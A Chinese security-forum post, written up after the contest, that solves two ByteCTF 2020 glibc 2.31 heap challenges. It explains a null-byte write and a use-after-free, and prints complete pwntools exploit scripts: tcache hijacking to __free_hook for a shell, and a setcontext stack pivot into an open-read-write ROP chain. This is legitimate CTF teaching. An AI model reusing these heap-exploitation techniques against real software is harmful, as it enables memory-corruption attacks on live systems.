首页
论坛
课程
招聘
[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)
2020-11-20 19:12 1090

[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)

2020-11-20 19:12
1090

ByteCTF2020 两道菜单堆

比赛的时候事情有些多,没怎么好好看题,赛后把题目认真做做补一下。

easyheap

题目概览

  1. Glibc 2.31(至高版本)保护全开
  2. 标准菜单堆,new、delete、show三个功能。
  3. 在 new 函数中有一个几乎是任意位置的单空字节写
  4. 最多同时存在8个chunk。并且free之后会被清掉。
  5. show 以%s 打出来。有00截断。

利用思路

泄露堆地址

 

可以看到这里malloc之后会做一个memset做一个清空的操作,但是这个不同于calloc,memset的size是我们输入的size,但是由于我们最小的申请到的单位是0x20,如果我们add的size=1,那么他会返回0x20,这样子把size错开,先free再拉回来,他只清空了1个字节,那么剩下的指针就泄露出来了

 

这里有两个小细节:

  • 如果size直接就是合法的话,那么 size_1 = size ,那么当运行到:

    会被补上一个空字节,对show造成截断。所以这里要做的一个处理就是触发一次任意地址空字节写,把这个空字节写飞,保证他不会影响到后续的printf。

  • 注意他这里使用的for循环读取。那么实际上有两个可以造成读取结束的情况。如果size合法时,我们输入的内容比size小(即触发了\n 结束)的话:也会造成补一个空字节,影响到printf,所以我们要保证,这个循环是由i=size退出(即size=len(Content))而不是提前碰到了换行符退出。

当这两/三个地方绕过后,就能泄露出heap base了

泄露libc

接下来的事情几乎都是堆风水的事情了。

 

思路就是利用单空字节写,不停的对于偏移0x300位置的chunk进行劫持(overlap),最终达到的目标是申请到pthread_tcache_struct

 

这样就完成了一个在size被限制的情况下获得一个0x290大小的chunk

 

接下来我们想多次利用 pthread_tcache_struct,那么我的想法是,首先要劫持pthread_tcache_struct 的 number来填满tcache,保证pthread_tcache_struct可以被free到unsortedbin,接下来,我们劫持pthread_tcache_struct 中的 tcache_entry 保证有多个 tcache_entry 都指向 pthread_tcache_struct 类似如下(由于可申请的size有限,所以我们只能最多劫持6个tcache_entry的指针):

 

DQbUVU.png

 

接下来把tcache扔到ubin里,此时在table中有两个tache,然后free进ubin,直接show出来就好。

getshell

打freehook,还是老办法,由于pthread_tcache_struct 里已经有了多个指向他本身的指针,那么我们直接在tcache里填上'/bin/sh\x00' 然后free_hook getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# encoding=utf-8
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./easyheap"
libc = ELF(libc_path)
elf = ELF(elf_path)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
cho='>> '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def evil_add(size_1,size,content='',c='1'):
    '''
    任意空字节写,既可以篡改任意一个位置为空字节,并且还可以起到把空字节写飞,防止printf的时候发生'\x00'截断
    '''
    sal(cho,c)
    sal(siz,str(size_1))
    sal(siz,str(size))
    sal(con,content)
def exp():
    global io
    io = process(elf_path)
    add(1,'1')
    add(1,'2')
    free(1)
    free(0)
    evil_add(0x100,1,'p')   # size_1 不等于 size , 空字节被写飞,保证不会影响printf发生截断。并且保证len(content)=size
    evil_add(0x100,1,'p')
    show(0)
    ru("Content: ")
    heap = u64(r(6).ljust(8,b'\x00'))-0x270
    success("heap base:"+hex(heap))
    free(0)
    free(1)
    add(0x20,'a')   # 0
    add(0x70,'b')   # 1
    add(0x80,'c')
    add(0x80,'d')
    add(0x80,'e')
    free(4)
    free(2)
    free(3)
    add(0x70,'')
    free(1)
    free(2)
    evil_add('-127',0x30,'ScUpax0s')
    evil_add('-479',0x30,'ScUpax0s')
    add(0x70,'a')
    recover = flat( heap+0x40,0x81,   0,heap+0x10)      # 指向heap+0x40
    add(0x70,recover)
    add(0x80,'a')
 
    free(1)
    free(2)
    add(0x18,'1')
    add(0x18,'1')
    add(0x80,p64(0)+p64(0x81))      # 恢复0x300位置的chunk结构
    hijack_tcahce = flat(   'a'*0x50,p64(heap+0x10)*6    )        # 劫持tcache结构体中的指针指向他自己,保证多次可利用)
 
    free(0)
    free(1)
    free(3)
    add(0x80,hijack_tcahce)     # 至此,把tcache结构体申请出来了。并且多个tcache_entry指向tcache结构体本身,导致可以多次利用
    pause()
    add(0x30,'a'*0x30)
    add(0x10,'a')
    free(3)
    show(1)     # 泄露libc
    libc.address  = u64(ru("\x7f")[-6:].ljust(8,b'\x00'))-96-libc.sym['__malloc_hook']-0x10
    success("libc:"+hex(libc.address))
    system = libc.sym['system']
    success("system:"+hex(system))
    malloc_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(malloc_hook))
    add(0x60,p64(malloc_hook)+b'a'*(8+16*5))
    add(0x20,'/bjn/sh\x00')
    free(5)
    add(0x20,p64(system))
    shell()
exp()

gun

题目概览

1.glibc2.31 保护全开

 

2.只能orw(白名单)BJ7zP1.png

 

3.add函数如下图:DQHXg1.png

 

4.load函数:DQHxu6.png

 

5.Shoot函数,主要是起一个free和show的作用,这里在free后清空了标志位,但是指针被留下来了(UAF)

 

BJf4l4.png

 

效果如下:BJfx6H.png

利用思路

泄露libc

程序没有在申请chunk的时候做一个对残留指针的清空操作,所以导致可以直接通过把在unsortedbin里的chunk切割回来泄露libc

泄露堆地址

思路跟泄露libc很像,不过这个时候是利用tcache残留的next指针,然后add回来,再free一次,free的同时show出来heap地址

劫持malloc_hook

我们看到程序里的UAF方便了我们的地址泄露,但是程序里并没有任何一个任意写,所以不太好直接劫持指针。

 

程序里还有一个漏洞在于:如果我们先load(0)load(1) 此时#1 会被放一个#0的地址,但是如果我们再load(0),然后单独free掉#0(因为bss_loaded_bullet只储存最后一个被load的位置),那么这个时候#1上仍然有已经free掉的#0的地址,并且#0已经处于free状态。倘若此时我们再次load(1),然后shoot两次,那么就完成了一个对于#1的double free,但是由于2.31的tcache key检查(且我们没有任意写能破坏key),所以我们需要在fastbin中完成double free

 

BJLSGn.png

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./gun"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=b'Action>'      # choice提示语
siz=b'Bullet price: '     # size输入提示语
con=b'Bullet Name:'         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='3'):
    sal(cho,c)
    err = rl()
    #success(err)
    if(err==(b' wrong game command!\n')):
        sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def add_0(size,content='',c='3'):
    sal(cho,c)
    sal(siz,str(size))
    sal(con,content)
def free(index,c='1'):
    sal(cho,c)
    sal("Shoot time: ",str(index))
def load(index,c='2'):
    sal(cho,c)
    sal('Which one do you want to load?',str(index))
def exp():
    global io
    io = process([elf_path])
    name='a'*0x18
    sa("name:",name)
    #shell()
    add(0x440,'Large chunk(0x440)')
    add_0(0x10,'defense chunk(0x10)')
    load(0)
    free(1)
    add_0(0x10,'backback')
    load(0)
    free(1)
    libc.address = u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))-1120-libc.sym['__malloc_hook']-0x10
    success("libc:"+hex(libc.address))
 
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    load(0)
    load(1)
    free(2)
    add_0(0x10,'p') # 拉回来,拿到残留指针
    load(0)
    free(1)
    ru(b'Pwn! The ')
    heap = u64(r(6).ljust(8,b'\x00'))-0x270
    success("heap:"+hex(heap))
 
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
    add_0(0x68,'ScUpax0s')
 
    #
    load(0)
    load(2)
    load(3)
    load(4)
    load(5)
    load(6)
    load(7)
    load(8)
    free(8)
    # 至此,填满tcache
 
    load(1)
    free(2) # fastbin double free+overlap
 
 
 
    free_hook = libc.sym['__free_hook']
    success("free_hook:"+hex(free_hook))
    # 把tcache的拉回来
    setcontext = libc.sym['setcontext']+61
    orw_addr = heap+0x100
    #success("frame_addr:"+hex(frame_addr))
    p = p64(0)*4+p64(setcontext)
    #success("total len:"+len(p+str_frame[0x28:]))
    frame_addr = heap+0x3d0
    payload = flat(
        0,
        frame_addr,
        p64(0)*2,
        setcontext
    )
    ret = 0x0000000000025679 + libc.address
    add_0(0x68,'A'*0x10)   # heap+
    add_0(0x68,flat(p64(0)*6,orw_addr,ret))
    add_0(0x68,'C'*0x10)
    add_0(0x68,'D'*0x10)
    add_0(0x68,'E'*0x10)
    add_0(0x68,'F'*0x10)
    add_0(0x68,'J'*0x10)
 
 
    add_0(0x68,p64(heap+0x90))
 
    add_0(0x68,payload)      # heap+0x3d0,#8
 
 
 
    pop_rdi = 0x0000000000026b72+libc.address
    pop_rsi = 0x0000000000027529+libc.address
    pop_rdx_r12 = 0x000000000011c371+libc.address
    syscall = 0x000000000002584d+libc.address
    pop_rax = 0x000000000004a550+libc.address
    flag_str_addr = heap+0x100+0xd8
    flag_addr = heap+0x200  # 读入这里
    orw=flat(
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        #syscall,
        libc.sym['open'],
        # open("./flag",0);
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx_r12,
        0x100,
        0,
        pop_rax,
        0,
        libc.sym['read'],
        # read(3,flag_addr,0x100)
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx_r12,
        0x100,
        0,
        pop_rax,
        1,
        libc.sym['write'],
        './flag\x00'
        # write(1,flag_addr,0x100)
    )
 
    success(hex(len(orw)))
    # heap+0x2f0
 
 
    add_0(0x68,payload)
    #pause()
 
 
 
 
    add_0(0x68,p64(heap+0x10)*8+p64(heap+0xf8)+p64(heap+0x10)*2+p64(heap+0x28)+p64(heap+0xf8))  # 劫持0x20位置的tcache_entry
 
 
    add_0(0x18,'a'*0x18)
 
    add_0(0xc8,'aaaaaaaaaaa')
 
    add_0(0x98,p64(heap+0x100))
 
    #pause()
    load(0)
    load(2)
    load(3)
    load(4)
    load(5)
    free(5)
    add_0(0xe0,orw)
 
    add_0(0x28,p64(free_hook))
 
    add_0(0x38,'\x70')
    # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    magic_gadget = libc.address+0x0000000000154930
    success("magic:"+hex(magic_gadget))
    #add_0(0x38,p64(heap+0x100)) # mallochook劫持到orw的地方
    add_0(0x38,p64(magic_gadget))
    success("orw:"+hex(heap+0x100))
    # free(7)
    load(8)
    shell()
 
 
exp()
 
'''
0x0000000000026b72 : pop rdi ; ret
0x0000000000027529 : pop rsi ; ret
0x000000000011c1e1 : pop rdx ; pop r12 ; ret
0x000000000004a550 : pop rax ; ret
0x000000000002584d : syscall
'''

比较重要的是使用了2.31下的这一条gadget配合setcontext+61做栈迁移:

1
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

用ropper找的:

1
ropper -f /root/glibc-all-in-one/libs/2.31/libc-2.31.so --search 'mov rdx'

大概过程如下:

 

DQ7UyV.png

 

实际2.29也有类似的,有兴趣可以自行研究。

 

最终:

 

DQ7Bo4.png


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

最后于 2020-11-20 19:13 被ScUpax0s编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 1035
活跃值: 活跃值 (163)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
TopGreen 活跃值 2020-11-20 20:27
2
0
一号机 tql
雪    币: 933
活跃值: 活跃值 (159)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
鸭子咯咯哒 活跃值 2020-11-20 21:35
3
0
cft怎么学习
雪    币: 5287
活跃值: 活跃值 (2076)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 1 2020-11-20 22:17
4
0
mark,感谢分享
雪    币: 5287
活跃值: 活跃值 (2076)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 1 2020-11-20 22:17
5
0
鸭子咯咯哒 cft怎么学习
看我的索引贴
游客
登录 | 注册 方可回帖
返回